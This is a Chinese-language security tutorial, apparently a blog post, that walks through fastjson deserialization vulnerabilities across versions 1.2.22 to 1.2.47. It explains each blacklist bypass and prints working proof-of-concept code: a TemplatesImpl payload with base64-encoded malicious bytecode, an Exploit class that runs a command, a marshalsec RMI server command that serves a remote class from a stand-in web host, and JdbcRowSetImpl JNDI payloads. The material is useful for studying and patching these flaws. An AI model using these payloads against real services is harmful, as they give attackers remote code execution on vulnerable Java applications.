fastjson 系列漏洞

目录

[1、 fastjson 1.2.22-1.2.24 版本](#1、 fastjson 1.2.22-1.2.24 版本)

[1.1 TemplatesImpl (Feature.SupportNonPublicField)](#1.1 TemplatesImpl (Feature.SupportNonPublicField))

[1.2 JNDI && JdbcRowSetImpl 利⽤链](#1.2 JNDI && JdbcRowSetImpl 利⽤链)

[2、fastjson 1.2.41](#2、fastjson 1.2.41)

[3、fastjson 1.2.42/1.2.43](#3、fastjson 1.2.42/1.2.43)

[4、fastjson 1.2.44-1.2.45](#4、fastjson 1.2.44-1.2.45)

[5、fastjson 1.2.46-1.2.47版本反序列化漏洞](#5、fastjson 1.2.46-1.2.47版本反序列化漏洞)


jackson 和 fastjson 在序列化的时候,先利用反射找到对象类的所有 getter 方法,接下来去 get,然后小写化,作为 json 的每个 key 值,而 getter 方法的返回值作为 value。接下来再反射 field,添加到 json 中。

1、 fastjson 1.2.22-1.2.24 版本

产生漏洞的主要原因为FastJson⽀持的两个特性:

  1. fastjson反序列化时,JSON 字符串中的 @type 字段,⽤来表明指定反序列化的⽬标对象类。

  2. fastjson反序列化时,字符串时会⾃动调⽤恶意对象的构造⽅法、setter ⽅法、 getter ⽅法,若这类⽅法中存在利⽤点,即可完成漏洞利⽤。

主要存在两种利⽤⽅式:

  1. TemplatesImpl (Feature.SupportNonPublicField)

  2. JdbcRowSetImpl (JNDI)

1.1 TemplatesImpl (Feature.SupportNonPublicField)

TemplatesImpl 类中影响漏洞的主要是 _bytecodes 和_outputProperties 两个 private 成员变量。在使⽤ JSON parseObject 时需要传⼊Feature.SupportNonPublicField。TemplatesImpl 利⽤链因为需要开启 Feature.SupportNonPublicField 选项,具有较⼤的限制。

poc:

java 复制代码
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class java1_2_25 {
    public static void main(String[] args) {
        String payload = "
{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_b
ytecodes\":
[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQA
EQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvb
S9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWN
oZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htb
C9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29
yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htb
C9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFih
bTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhD
AAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5
hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y
29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQA
TamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpT
GphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmc
vUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAA
AABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAA
BAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEA
AEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAA
ABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":
{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
    JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}
  1. @type :反序列化的恶意⽬标类型 TemplatesImpl ,FastJson最终会按照这个类反序列化得到实例

  2. _bytecodes :继承 AbstractTranslet 类,值为恶意类字节码,使⽤ Base64 编码。

  3. _outputProperties : TemplatesImpl 反序列化过程中会调⽤ getOutputProperties ⽅法,导致 bytecodes 恶意字节码成功实例化为代码执行类,造成命令执⾏。

  4. _name :调⽤ getTransletInstance 时会判断其是否为 null ,为 null 直接 return ,不会进⼊到恶意类的实例化过程;

  5. _tfactory:defineTransletClasses 中会调⽤其 getExternalExtensionsMap ⽅法,为 null 会出现异常;

javac 编译成字节码,对字节码继续 base64 编码填充 POC 的 _bytecodes 字段:

java 复制代码
import java.io.IOException;
public class poc_1 extends AbstractTranslet {
    public poc_1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    public void transform(DOM document, SerializationHandler[] handlers)throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        poc_1 t = new poc_1();
    }
}

1.2 JNDI && JdbcRowSetImpl 利⽤链

JdbcRowSetImpl 利⽤链配合 JDNI 比较容易利用。

如下恶意类,通过 javac 编译得到 Exploit.class ⽂件,并将字节码⽂件让放 Web ⽬录下:

java 复制代码
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
public class Exploit implements ObjectFactory, Serializable {
    public Exploit() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Exploit exploit = new Exploit();
    }
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
        Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

开启 RMI 服务器,默认运⾏在 1099 端⼝,并设置返回对象为远程恶意类的引⽤:

bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://website:8000/#Exploit

poc:

java 复制代码
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class FastjsonTest {
    public static void main(String[] args) {
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
        \"dataSourceName\":\"rmi://website:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

2、fastjson 1.2.41

官⽅在1.2.25版本更新中,新增了 autoTypeSupport 反序列化选项,并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。

漏洞成因:

此漏洞为1.2.24版本漏洞的安全补丁的绕过。Fastjson 从1.2.25开始引入了 checkAutotype 安全机制,默认情况下,autoTypeSupport 为 false ,同时不⽀持指定类的反序列化,通过使⽤⿊名单+⽩名单验证。

checkAutotype 机制的作用过程:

  1. checkAutotype 安全机制中 @type 字段值首先会经过黑白名单的校验
  2. 在成功通过校验之后,程序接下来会通过 TypeUtils.loadClass 方法对类进行加载:
    1. 匹配以 [ 开头的字符串,
    2. 匹配以L 开头,以 ; 结尾的函数返回值和参数的编码字符串。

其中首个字符 [ 用以表示数组的层数,第二个字符则代表数组的类型,L; 之间的字符串表示着该类对象的所属类。当传入的类名以L 开头,以 ; 结尾时,程序将去除首尾后返回,因此能够绕过⿊名单的验证。

poc:

java 复制代码
{
  "rand1": {
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

3、fastjson 1.2.42/1.2.43

漏洞成因:

1.2.42版本对1.2.25~1.2.41的漏洞进行了修复,然而修复方式是通过判断类名前后是否为 L; ,如果是,就截取第二个字符和到倒数第二个字符。此种修复方式通过双写 LL 和 **;;**即可绕过。

1.2.43版本是对1.2.42版本漏洞修复,直接了对类名是否以LL开头的条件判断,若第一个条件满足并且以 LL 开头,直接抛异常,至此这种修复方式没法在绕过了。

但 loadclass 时除了 L; 做了特殊处理外,[ 也被特殊处理了,通过在类名前添加 [ ,使用 **[{}]**包裹数据即可绕过检测。

java 复制代码
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}

4、fastjson 1.2.44-1.2.45

漏洞成因:

  1. 此版本漏洞通过 Mybatis 利⽤链,可以直接绕过⿊名单。 JndiDataSourceFactory 不在黑名单上,可以通过黑名单校验

  2. JSON字符串中的 @type 字段可以指定 JndiDataSourceFactory 类,而在类的 properties 属性中的 data_source 变量中可以指定恶意数据源,通过 properties.getProperty 获取该地址,并传⼊ initCtx.lookup ,形成JNDI注⼊执⾏命令。

5、fastjson 1.2.46-1.2.47版本反序列化漏洞

漏洞成因:

  1. java.lang.class 不在类的黑名单中,可以通过 checkAutotype 的检测。

  2. 同时 java.lang.class 类对应的 deserializer 为 MiscCodec,deserialize 时会取 json 串中的 val 值,并 load 这个 val 对应的 class,当 fastjson cache 为 true,就会缓存这个 val 对应的 class 到全局 map 中。

  3. 如果再次加载 val 名称的 class,并且 autotype 没开启,就会尝试从全局 map 中获取这个class,如果获取到了,直接返回。当这里的 class 为恶意类,就会造成命令执行。

poc:

java 复制代码
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
public class POC {
    public static void main(String[] args) {
        String payload = "{\n" +
                         " \"name\":{\n" +
                         " \"@type\":\"java.lang.Class\",\n" +
                         " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                         " },\n" +
                         " \"x\":{\n" +
                         " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                         "\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\n" +
                          " \"autoCommit\":true\n" +
                          " }\n" +
                          "}";
        System.out.println(payload);
        JSON.parse(payload);
    }
}
相关推荐
用户962377954481 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主2 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全